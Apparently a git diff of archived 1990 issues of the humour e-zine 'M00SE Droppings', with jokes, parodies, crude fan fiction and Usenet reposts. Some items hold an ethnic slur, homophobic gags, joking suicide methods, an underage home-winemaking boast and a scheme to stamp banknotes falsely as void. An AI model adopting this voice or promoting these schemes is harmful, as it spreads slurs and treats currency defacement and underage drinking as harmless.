Herschm00se the Beanmeister + + (This space to let): Contact WarM00se +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + It's late. I know. I'm sorry. I got real busy. I'll try not to let it +happen again. But right now, I'm retyping this, as the &*%@^#(*$%@#(^&$%()@# +computer just ditched about 1/2 hour of work on me, and I'm really quite +terribly upset about THE WHOLE @#^$(&*@#%^($*#!-ing thing! :) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: GreyFoxM00se +My sister was 0nce byt by a m00se. + +N0, Realli. She was carving her initials in the m00se with the sharpened end of +an interspace t00thbrush given to her by her brother in law -- a dentist. + +Mind you, m00se bytes can be nasti... +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +From: Rescue M00se +I thought that this group would like to know of an important +discovery made at the National Research Council (NRC) +in Canada. + +<> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> + + NEW ELEMENT DISCOVERED + AT NRC RESEARCH CENTRE + + (Reprinted from CRESS Bulletin, York University, Jan 24. 1990) + + The heaviest element known to science was recently discovered by physicists at +the NRC Research Centre. The element, tentatively named Administratium, has no +protons, 125 assistant neutrons, 75 vice neutrons and 111 assistant vice +neutrons. This gives it an atomic mass of 312. These 312 particles are held +together in a nucleus by a force that involves the continuous exchange of a +meson like particles called morons. + + Since it has no electrons, Administratium is inert. However, it can be +detected chemically as it impedes every reaction it comes in contact with. +According to the discoverers, a minute amount of Administratium caused one +reaction to take over four days to complete, when it would normally occur in +less than one second. + + Administratium has a normal half life of approximately 3 years, at which time +it does not actually decay, but instead, undergoes a reorganization in which +assistant neutrons, vice neutrons and assistant vice neutrons exchange places. +Some studies have shown that the atomic weight actually increases after each +reorganization. + + Research at other laboratories indicates that Administratium occurs naturally +in the atmosphere. It tends to concentrate at certain points such as +government agencies, large corporations, universities, and NRC and can actually +be found in the newest, best maintained buildings. + + Scientists point out that Administratium is known to be toxic at any level of +concentration and can easily destroy any productive reactions where it is +allowed to accumulate. Attempts are being made to determine how Administratium +can be controlled to prevent irreversible damage, but results to date are not +promising. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + This space available. Contact WarM00se. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Description: I had an interesting idea the other day.... + +In order to streamline the legal system, and get stupid old laws off the books, +and key law in with the changing social mores, I came up with a few ideas that +would make things run much better in this country. Let me know what you think. + + 1) Make every law expire 10 years after it is enacted. All OLD laws +expire 10 years after we start this program. If the law is still a valid social +concern, then it can be re-enacted. (Politicians LOVE to legislate, anyway, but +this keeps laws like "no horses in saloons" from cluttering up the books....) + + 2) No "piggy-backing" of bills. You make ****1**** law at a time. No +tacking of something like "all homos are to be shot" on page 86 of a traffic +law about "right turn on red." + + 3) Recall vote on all people in office. If someone pisses us off, we +don't have to wait up to 4 years to vote them out of office. That way we can't +forget about what they did. (As is so often the case.....) + + What do you think? + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Hey! + I just read the TIME MASTERS comic book (Issue #1), and it's pretty +funky! It's all about this guy, Rip Hunter, who is going to form a group of +time-travellers to battle.... + THE ILLUMINATI! + (Fnord.) + Check it out, the series is just starting, and it looks pretty good! + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +*NEWS BL00P!* *NEWS BL00P!* *NEWS BL00P* What a fnord! + + As the official Director of Emergency Medical Medicine and Fire Prevention +for the International M00se Illuminati (self proclaimed of course *smile*) I +hereby take a firm stance against the practices of arson and assault. M00ses +unite to whip out this bad feature we portray. What if a M00se was caught and +convicted????!!!!! Look at the allegations that would be brought upon our whole +organization! We can accomplish our goals in a much safer and caring way without +the use of these tactics. FNORD! + + Remember, RESCUE M00se is here to help you. Need help? + Give him a call: STJS@MARIST + He goes by RESCUE-1 (yes...the relay op!) on the outside.... + but he's really....RESCUE M00se!!!! Protector of M00ses! + BL00P! +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Keep those submissions coming in! :) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +NORIEGA `COCAINE' REALLY TAMALES + WASHINGTON (AP) -- The U.S. military now says 50 pounds of a substance +it seized at a house used by deposed Panamanian leader Manuel Antonio Noriega +turned out to be tamales instead of cocaine as the Army initially said, The +Washington Post reported today. + On Dec. 22, Col. Mike Snell, commander of a U.S. infantry task force, +told reporters his troops had found 50 pounds of cocaine in a house frequented +by Noriega, some of it wrapped in banana leaves inside a freezer. "We're sure +it was cocaine," Snell was quoted as saying. + However, the Post said officials in the Army's Criminal Investigation +Division have concluded the contents of the banana leaves were actually +tamales. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Fnord. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[Submitted by: V067LUFD@UBVMS (Ruprecht)] + +Did you know? + + EVERY TIME A LOAF OF BREAD + IS BAKED, + APPROXIMATELY + 150,000,000 YEASTS ARE + KILLED. +____________________________________________________________________________ + Come to the award-winning 1987 film, + "The Very Small and Quiet Screams" + -- a cinematic electromicrograph of yeasts being baked. + +"A must for those who care about yeast, and especially for those who don't." +____________________________________________________________________________ + + +------------------------------------+ + | Evening showing in Johnson & Wales | + | Pirsig Auditorium: 7PM, 4/19 | + +------------------------------------+ +============================================================================ + SPONSORED BY + Brown Anaerobe Rights Coalition (BARC) + Student Bakers for Social Responsibility + Coalition for the ELevation of Life (CELL) + Campus Crusade for Fetal Matters +============================================================================ + Defend all life: 'from greatest to least, from human to yeast!" + + + + This poster printed on 100% yeast-free paper. +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +From: GreyFoxM00se + BORED TREK: THE NEXT-TO-LAST-DE-GENERATION. (we hope.) + +Captains Log: Stardate: Today! This is the Q acting on behalf of Captian +Jean-Luc Picard who is at this very moment on the holodeck trying to have +sex with the image of a woman that Commader Riker programmed in on the episode +with the Binars. + + Let's join them, shall we? This should be fun. + +PICARD: So, mon chou, where are you from? (This is a frail attempt by the +Captain to "chat her up.") + +IMAGE: You ought to know skinhead, you activated the images here on the +holodeck. + +PICARD: Hmm. I thought that the image Riker created was not such an irate +personality. Perhaps I didn't break his code properly. + +IMAGE: You mean you, the Captain of a Starfleet vessel, broke into the +access file of another commanding officer? + +PICARD: Well, I wouldn't call it that, just that as a Captain, I get so +lonely sometimes.... (sigh!) + +IMAGE: What about the Q? Couldn't he be your butt-slamming buddy? + +PICARD: The Q??!! How dare you insinuate such a thing! He siezed my vessel--! + +Q: (Unknown to Picard and Image but nonetheless onstage) Seized my vessel! +Siezed my vessel! Is that all that Galactic cutie--ah-- skinhead cares about? + +PICARD: I heard that shit Q! Did you think that stupid parenthetical reference +could hide your lovely--ah-- ridiculous presence from me?! + +IMAGE: I think I know what the problem is here, guys. You're really attracted +to each other, but neither of you would admit it. Q here has just been trying +to get your attention beacuse he's got a crush on you. You big thillys! + +PICARD: Preposterous! I am not by any means a homosexual! And don't you +try to seize my vessel Q! + +Q: Oh, cut the crap Picard-baby. Let's just go "do the nasty." + +PICARD: Well... + +Enter RIKER with Leiutennant Commander Data. + +DATA: Sir, I am detecting the presence of the Q. + +RIKER: You're right, Data. There he is, with... the Captain? + +DATA: Sir, I am unable to comprehend. What I see occuring is usually expected +between the male and female of your species, much less the Captain whose +species I cannot identify save for "skinhead" and a mega-entity such as the Q. + +RIKER: Data, just shuttup. Here, smoke this joint, and forget you saw anthing +here. + +DATA: But sir, I am an android, I cannot forget. + +RIKER: If you don't forget, I am going to reprogram you with a very large +axe, got that? + +DATA: (Visiby shaken, for an android, anyway.) Yes sir. + +PICARD: OOOOH! AAaaaaaahhhhhhhhhh! + +Q: Vreet! Whoop!~(*%(*^)(!!!!!!!!!!!!! <<<< FLASH!!!!! >>>> + +RIKER: (to image) Alright, now that we're alone, assume the missionary +position! + +IMAGE: Not again... +------------------------------------------------------------------------------- + +Narrator: Is Captain Picard really a homosexual? Or is he under the +all-powerful influence of the Q? Does Riker really get it on with a hologram? +Did Data really smoke that joint? And where is Wesley during all of this? + +WESLEY: I'm getting it on with Counselor Troy, of course. She's got great +tits. I'm probably the only straight one on board this ship. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Thought you'd like to know another theory of the origins of haggis. :-) +It's by Monty Python. + +Much to his Mum and Dad's dismay, +Horace ate himself one day. +He didn't stop to say his grace. +He just sat down and ate his face. +"We can't have this," his dad declared. +"If that lad's ate, he should be shared!" +But even as he spoke, they saw +Horace eating more and more. +First his legs and then his thighs; +His hair, his arms, his nose, his eyes. +"Stop him, someone!" Mother cried, +"Those eyeballs would be better fried!" +But all too late, for they were gone, +And he had started on his dong. +"Oh foolish child, " his father mourned, +"We could have deep-fried that with prawns, +"Some parsley, and some tartar sauce." +But H. was on his second course. +His liver and his lights and lung, +His ear, his neck, his chin, his tongue. +"To think we raised him from the cot, +"And now he's going to scoff the lot!" +His mother cried, "What shall we do? +"What's left won't even make a stew!" +And as she wept, her son was seen +To eat his head, his heart, his spleen. +And there he lay, a boy no more, +Just a stomach on the floor. +Nonetheless, since it was his, +They ate it. That's what haggis is. + - Monty Python +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[Submitted (unknowingly) by our newest m00se! Welcome to the Weirdness, S.! (I +don't know your first name.) See how easy it is to get published once you have +the all-powerful M00se Illuminati on your side? ;^) ] + + How would you like a bowl of Snoopy + Stirred until it's thick and soupy? + Dog in a bowl + With a poppyseed roll. + Dig it? + Sure you do. + S. McDonald + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + + NEWS REPORT 29 + 25 May 1989 + +IBM ANNOUNCES EXTENDED MOUSE SUPPORT + +The following is a direct, word-for-word reproduction of a recent IBM +'Service support' announcement. (Honest!) + +ESD PRODUCT SERVICE SUPPORT +SUBJECT: NEW RETAIN TIP + +Record number: H013944 +Device: D/T8550 +Model: M +Hit Count: UHC00000 +Success count: USC0000 +Publication Code: PC50 +(H)elp, More? Tip key: 025 +Date created: 089/02/14 +Date last altered: 089/02/15 +Owing B.U.: USA + +Abstract: MOUSE BALLS NOW AVAILABLE AS FRU + +Mouse balls are now available as a Field Replacement Unit (FRU). If a mouse +fails to operate, or should perform erratically, it may be in need of a ball +replacement. Because of the delicate nature of this procedure, replacement of +mouse balls should be attempted by trained personnel only. + +Before ordering, determine type of mouse balls required by examineing the +underside of each mouse. Domestic balls will be larger and harder than foreign +balls. Ball removal procedures differ, depending upon manufacturer of the mouse. +Foreign balls can be replaced using the pop off method, and domestic balls +replaced using the twist off method. Mouse balls are not usually static +sensitive, however excess handling can result in sudden discharge. Upon +completion of ball replacement, the mouse may be used immediately. + + It is recommended that each servicer have a pair of balls for +maintaining optimum customer satisfaction and that any customer missing his +balls should suspect local personnel of removing these necessary functional +items. + (Submitted by GreyFoxM00se) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +(Submitted by Ruprecht) +Description: Whenever I get depressed, I read this. + +>In article <14050@reed.UUCP> jswanson@reed.UUCP (Grendel) writes: +>> + +>Ok, how about a top 10 list of ways to kill yourself with a groundhog? +Here are a couple: + +Take a groundhog, inject the groundhog with a large dose of methamphetamines, +place the groundhog inside your shirt. More than likely, the groundhog will +begin to tunnel into your chest cavity, thereby causing your demise. + +Take a groundhog into a biker bar. Find the largest biker in the place. Hold +up the groundhog and say, "Hey donkey puke, this is your old lady ain't it? Oh, +excuse me, your old lady don't look this good." Death should follow within 20 +seconds. + +Take some electrical wire and attach one pair of leads to a twelve volt battery +and the other ends to the hind legs of the groundhog. Then hold the groundhog +near your throat. Slow but efficient. +-- + - /| | Karl Klingman + \`O.o' -->GAK! | UUCP: gatech!stiatl!karl + ={___}= Cubicles: Just say NO! | Internet: stiatl!karl@gatech.edu + ` U ' | +______________________________________________________________________________ +I read this and somehow I never get around to killing myself. + Ruprecht + V067LUFD@UBVMS +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Newsgroups: rec.backcountry +Subject: baking, and moose + +> >Question: +> >How do any of you do any very good baking over a gas stove? I have +> +> "The NOLS Cookery" recommends that you build a "twiggy fire" on the +> lid, with pencil-thickness sticks. In order to bake anything that +> you can't flip, I think you have to have a heat source from above. + +Yes, this works very well. Find a frying pan with a lid (I found +one with a lid, but the lid sloped, so I had to beat it into submission +with rocks!). When you're cooking, build a small fire on +top of the lid. Gee, it's *just* like an oven at home! We baked +bread (yeast, not baking powder), pizza, corn bread, &c. + +Oh yes: only get twigs that have fallen to the ground. Don't pull +twigs off the trees, even the trees are dead. NOLS says that +people notice this (talk about taking minimum impact too far!) + +One problem with my set-up is that the lid has no handle (I like to +check the baking every five minutes (yeah, I know you're not +supposed to do that!)). I guess this could be fixed by getting +someone to weld a chunk of metal to the outside of the lid. + +Here's the important part: according to NOLS, after you're done +with the fire, you must walk around slowly, gently blowing the +ashes and twig remnants off the lid with your breath. That way, no +one will ever notice that you've built a fire. This is where the +artistry comes in: take ten minutes, no, fifteen, to do this. +Hell, make it a day hike. Last time I did it, I ran into a female +moose and a calf. You know, female moose (meese?)--the ones that +are supposed to be able to fend off an attacking bear when their +calves are threatened? But this particular moose in its superior +wisdom realized what a kind soul I was. I got to within twenty +yards of her, leaned up against a tree, and exchanged long stares +with her and her progeny. Must have stayed there for half an hour. +Was one of the high points of my wilderness experience. And all +because I scattered my ashes. + +cheers, from +charles s. geiger, esq. +The University of Texas at Austin, Austin, Texas +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: "Daniel F. Boyd" +A computer-generated random flame. + +Why, the system staff is fascist! Your ignorance reminds me of a surfboard. +How can you say that Multics is a really unpleasant operating system? Don't you +realise that Lassie was dead? Lousiness is pretty fun. I have many crazy +friends. Fool! How can you say that Groucho is improper? Life is subtlety, +right? You make me sick. You disgusting Chinese wanker! Ban religions! Your +prejudice reminds me of a bug fix. You should have a computer, huh? Don't you +realise that I wish I were a source license? I don't want to hear about your +sexual fantasy. You must be a real rat to think that short people don't get +married to fascist people because they can't spray paint that small. You sound +like a real sadist. Your lousiness reminds me of a system call. Primitive old +arsehole! + + Arf arf arf... + -- Dan +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + Will ship separately, once I get the new list from HershM00se. +-------------------------------------------------------------------------------- +TREMENDOUSLY Overdue Issue - TREMENDOUSLY Overdue Issue - TREMENDOUSLY Overdue I +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se39 b/textfiles.com/magazines/M00SE/m00se39 new file mode 100644 index 00000000..fb55ed31 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se39 @@ -0,0 +1,373 @@ +If the fourth dimension is time, can I define a 4 dimensional array in a +computer language, display it, fill it, do some odd rotation with it, and have +the numbers I filled it with after I displayed it show up when I display it? +(Ie, send numbers into the past?) How would I test that, knowing the numbers +(having displayed it before I filled it)? + +This seems like an extremely M00sey question... + +Anyway, the idea came to me one night after eating a Subway Club with Extra +Jalepinos (I'm mildly allergic to Jalepinos, and they make me +somewhat...Buzzing... Kind of like eating Hash brownies...). I thought, "If the +fourth dimension is Time, and my computer can define a 4 Dimensional array, can +I use my computer to send messages back through time". The idea would be to put +numbers on the visible faces of a 4D array and rotate them in such a way that +they would go back through time. I've the concept down now, but testing leads to +a little difficulty -- if I print the array out first, I then know what numbers +were in there before and, well... paradoxes up the behind.... + +Maybe someone out there in M00seland can come up with a good way to test this, +but I don't want to mess with 4D arrays anyway, as I have enough troubles with 2 +and 3 d arrays. Indexing becomes a bit complex.... + +array[x][y][z][WHAT] <- See? + +Still, it is a neat idea... + -GreyfoxM00se +-------------------------------------------------------------------------------- +Heinously Late Issue - Heinously Late Issue - Heinously Late Issue - Heinously L +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #39| Disclaimer: The Editors will place almost anything in |Mar. 21, 1990 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury (Never gets issues out + on time.) + Submissions to: DangerM00se (What a slug.) + Back issue requests: Max Handelsman + and Johnathan Clemens + or + AND Joanne Rosenshein + M00se List updates and changes: Herschm00se the Beanmeister + + (This space to let): Contact WarM00se + BRANDYM00SE contacted me, now she gets to be mentioned here. Wouldn't + you like to be a pepper, too? :) + + (Who's paying this guy, anyway?) +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Howdy! + Yes. I know it's late. Yes. I know it's VERY late. But it's here now, +ain't it? :) + Sorry I've been so lax. My life has been a sine wave of late. Just when +things are going really well, something comes along and screws everything up. + Why is the header not the first thing in the issue? Well, time for +something different.....Python does it, why can't we? + Anyway, Happy Spring! On with the stuff!..... + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Hey! Check this out, man! U.S. Law say I cannot buy booze, being under 21, +right? "Eeen Dees Country, I am too young to drink Wodka." or something like +that. + +Anyway, same U.S. law say nothing about me buying +1) Grape Juice +2) Sugar +3) Yeast + +Hmm, says the Organic chemest. You know what happens when you put that lot +together under the right conditions? You guessed it. A truly second rate wine +suitable for a frat party or whatever! And who said eddycation never pays? + +'Course, it's not legal for you to put them together under the right +conditions... But what are they gonna do? Bust into your house, see this shit in +your closet, card you, and haul you off to the state penn? I somehow doubt it. + +Anyway, if you does it right, and bottles it right, and let it sit for a few +months, it actually gets better! I have a half-bottle of 4-month old homemade +wine (Was a whole bottle yesterday ;-) that is actually quite tasty if a bit +sweet (I put too much sugar in, I think). It was AWEFUL three months ago. Really +aweful. Cloudy, grody, y'know... But most of the crud settled out sometime +during the 4 months. Neat trick that. + +Anyway, I have the recipe about, if anyone wants it. It takes a couple of weeks +to ferment, and it (the recipe) is mainly a template from which you can deviate +quite severely if you wish (to go blind :-) Seriously, though, I've deviated +from in so severly as to use Bicarrdi Strawberry Daiquery stuff (It comes in a +can as frozen concentrate) to make a strawberry wine. That was pretty good too, +but it was too active to keep around (It somehow carbonated itself, and would +shoot out like the bottle had been shaken... strawberry wine all over the place. +No fun). + + -GreyF0xM00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: The Twiglit Zone + +Attention all M00se: + +The white zone is for loading and unloading only. If you have to load or +unload, please go to the white zone. Attention all M00se: The white zone is +for loading and unloading only. If you have to load or unload, please go to the +white zone. That's the white zone. The red zone is not for loading and +unloading only. If you have to load or unload do not go to the red zone. The +plaid zone is not for loading. If you have to load, please don't go to the +plaid zone. Please do not go to the green zone, and do not even think about +loading or unloading in the yellow zone if you know what is good for you. +Loading and unloading is permissible in the pink zone on alternate days provided +the name of the month does not end in Q, P or R. If the name of the month does, +in fact, end in Q, P or R, loading and unloading is not permissible in the pink +zone; neither is it permissible in the blue, orange or red zones. The beige +zone may be for loading or unloading, however, not on the first date. All in +all, the white zone is your safest bet. The white zone is for loading and +unloading only. If you have to load or unload, please go to the white zone. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +With snail mail rates going up, someone will probably eventually think that +maybe a computer net could be used to send a large amount of text mail... +Hmmm... Nah! It'll never happen ;-) + + -GreyF0xM00se +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +According to Purdue's newspaper, "The Exponent," this week has been officially +declared National Orgasm Week by Rodger Libby, a sociologist and social +psychologist. + +Libby says we need Orgasm Week "because we need positive news about sex. Over +the past few years the media has given sex a bad name, and I want to present +good news about sex." + +This week, Libby will be delivering humorous lectures on the subject as well as +passing out condoms, lubricants, and pins which read "I Came for National Orgasm +Week." +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +I seem to recall in a not so distant issue of M00se Dr0ppings, that someone +mentioned the pandemonium of getting a rubber stamp together that said something +to the effect of: + + THIS BILL HAS BEEN RECLAIMED BY THE U.S. + TREASURY DEPT. FOR DESTRUCTION. DO NOT + HONOR. IT IS NO LONGER LEGAL TENDER. + +And then going around stamping all the $$$ we could lay our hands on. Feeding $1 +bills into change machines, and then getting more bills for the change, stamping +them, and feeding them in, ad infinitum. Well, one of the questions raised was +"Where can we get them?" My fellow m00ses, that question has been answered. I +now work for the Cole Key Company, in the Maine Mall, in South Portland. One of +my jobs is key carving, and another is the fashioning of rubber stamps. Right +there in the store. I've already made my first prototype. I will gladly make +copies for any and all m00ses interested in this wonderfully heinous mischief. + + The total cost for the stamp is $5.00. Tax here is 5%, adding another +$.25. Postage is close enough to $1 to make no nevermind, so the total cost for +an official unofficial m00se illuminati havoc stamp is $6.25, payable either +cash or check, whichever is most convenient. Please send to the following +address ASAP: + + pay to the order of: Jeff Cavanaugh + University of Southern Maine + Room 253 Hastings Hall + Gorham, ME 04038 + +Please send payment soonest, and I'll send stamp soonest as well. + +Happy government toppling to everyone, and bl00pski!!!! + Mitya the Red M00se + +p.s. Pat and I have decided that t'would be best to use black ink for our stamps +as opposed to red, since WE don't want to be caught at this, knowhuttamean, +Vern..? Enjoy, and bl00p away! + + MtRM +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + The time:Some time in the twenty third century + The Place:The USS Enterprize + + Spock has just found out that pizza with anchovies makes him trip. + + Kirk: Bones! What's wrong with Spock? + Spock: 'sssh nodhing wrong, capt'n, baby. + McCoy: It sounds like he's on drugs... + + McCoy holds up his tricorder and scanner. + + Tricorder: WHIRRRRRRRR WHIRRRRRR WHIRRRRRR + + McCoy(Examining the tricorder): I'm not getting anything, though. + Spock: Oh, wow, man, the walls are breathing... + McCoy: Damnit, Jim! I think he's tripping. We'd better get him to + sick bay. + Kirk: What caused it? + McCoy: What has he eaten recently? + Spock: pizzah with anchovies and a side order of tribble juice. + McCoy: He's drunk tribble juce before, so it must be the Pizza. + Spock: Oh wow man, where's my shades? + McCoy: Damnit, Jim! He's getting worse... + + Will the Enterprize ever be the same? Will Spock become a habitual +Pizza and (Ugh!) anchovies user? Will all the tribble juice suddenly +dissappear? Will I ever be able to turn out a FUNNY bar trek? + -GreyfoxM00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: GR4302@SIUCVMB.BITNET +Subject: Randomly Generated Poetry (Wyrd oft nereth unfaegne...) + +I programmed a small fast spinning database for glosses (easy to do on the +right machine), then gave it the 200+ most common words in the Anglo-Saxon +corpus (with MdnE glosses), indulged the machine in a variety of artsy +software, then went back to the database and spun it like slot machine or +randomly thrown Tarot, and received the following poetry: + Warrior, take thy journey creation long; + An Artifice falls, bloodies all heaven; + Measure much, choose when to + Ask, sit, thy bow let rest. + Allow worthy wrath against grasping rule. + Do thy wood work. Do not fail or lose the way. + Someone must protect the earth there-- + Blood comes when some choose so much. + +I wonder what R.A. Wilson would think? + +Jeff T. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: Jonathan Held + + There was this keyboard. On this keyboard there was lots of +little keys. Each of the keys would sit and sit all day long. It was +quite a boring place to live. Then one day, U heard from Y who +heard from T who heard from R who heard from E about S. S was an +amazing key. She had curves that U would kill for. U knew that +he could never really get close to S because all of the other keys +were so crowded in that he couldn`t squeeze through to meet her. + + U was very discouraged for a really really really long long long +time. He thought about S more and more, though he had never even +met her. He decided that he had to see her, he just had to. So he +began his planning. + + A week later, he began his long trek over to S. First, he leaned +over and beat Y right into the keyboard. Now, he was getting +somewhere. U crawled over next to T, who was looking more and more +scared every second. U grabbed T by his shoulders, and flung him +right off the keyboard. The next obstacle was R. + + R was a mean, rough tough bully. He kicked and punched at U, +trying not to let him through. However, U had his emotions +backing him up. He swung back at R, bouncing him up over the number +row. Finally at E, U lashed out as hard as he could knocking E +right into W and killing them both. + + The rest of the keys were quite appalled at such behavior, all +except for S. S was really impressed by U`s strength and perseverence, +and was very flattered by the whole situation. + + Finally, U and S were together. + + The only problem is, certain words were totally out of the +question: you can`t spell TRY, RETRY, WET, WETTER, TREE, or WERE +anymore. + + But we`ve still got US. +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +(this text is taken from Kathy Glomski on talk.religion.newage in News) + +THE LESSON + +Then Jesus took his disciples up the mountain and gathering them +around him, he taught them saying, +Blessed are the poor in spirit for theirs is the kingdom of heaven +Blessed are the meek +Blessed are they that mourn +Blessed are the merciful +Blessed are they that thirst for justice +Blessed are you when persecuted +Blessed are you when you suffer +Be glad and rejoice for your reward is great in heaven.... + +Then Simon Peter said, 'Do we have to write this down?' + +And Andrew said, 'Are we supposed to know this?' + +and Phillips said, 'What if we don't know it?' + +And Bartholemew said, 'Do we have to turn this in?' + +and John said the other disciples didn't have to learn this + +and Judas said, 'What does this have to do with real life?' + +Then one of the Pharisees present asked to see Jesus' lesson plans +and another inquired of Jesus his terminal objectives in the cognitive +domain. A third chastised him for failing to include an anticipatory +set. + +And Jesus wept..... +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- +From: SFROBE@CLEMSON.BITNET +Subject: New Chapter Info + + Official M00SE Corespondence _ /\ _ + / \_/\_/ \_/\_/ \ + From: Stephen Roberts \_____/ () \_____/ + President of the Stephen Roberts Chapter of / \ + of The M00SE Illuminati / \__/ \ + /__________\ +Dear Fellow M00se, + + I received your posting about the M00se illuminati and immediately became a +convert. Since there were no known existing chapters on the Clemson campus, I +preceded to declare my self a member, and immediately came up with a silly, +meaningless initiation ceremony with which I could initiate myself. Since that +time, I have strived to reach the ideals of M00sehood and spread the conspiracy +to as many new chapters as possible. As of this date, I have personally +presided over the opening of five new chapters here at Clemson. The M00se is +reaching out across our campus, slowly now, but with increasing speed. Already, +the SIGN is appearing across campus on boards and signs. Confusion and +bewilderment posseses the minds of the masses. + + Below is the list of new chapters. Unfortunately, only one can be reached +by e-mail (other than myself). + + Chapter name Presiding Bull Moose E-mail address + Stephen F Roberts Stephen F Roberts SFROBE@CLEMSON + Robert F Nelson Robert F Nelson RFNELSO@CLEMSON + Ted Collins Ted Collins + Joe Wintz Joe Wintz + Gary Ulmer Gary Ulmer + + All of our new chapters would be interested in receiving a copy of M00se +Droppings, and anxiously await our first copy. + + Thank you for enlightening me and our new throng. + + Bloop, + Stephen F Roberts +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + I have to get the latest one from HERSCHM00se. I'll send it along when I +get it. +-------------------------------------------------------------------------------- +Heinously Late Issue - Heinously Late Issue - Heinously Late Issue - Heinously L +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se40 b/textfiles.com/magazines/M00SE/m00se40 new file mode 100644 index 00000000..ecc7803a --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se40 @@ -0,0 +1,512 @@ +-------------------------------------------------------------------------------- +Fruitbat Issue - Fruitbat Issue - Fruitbat Issue - Fruitbat Issue - Fruitbat Iss +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #40| Disclaimer: The Editors will place almost anything in |Apr. 09, 1990 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back 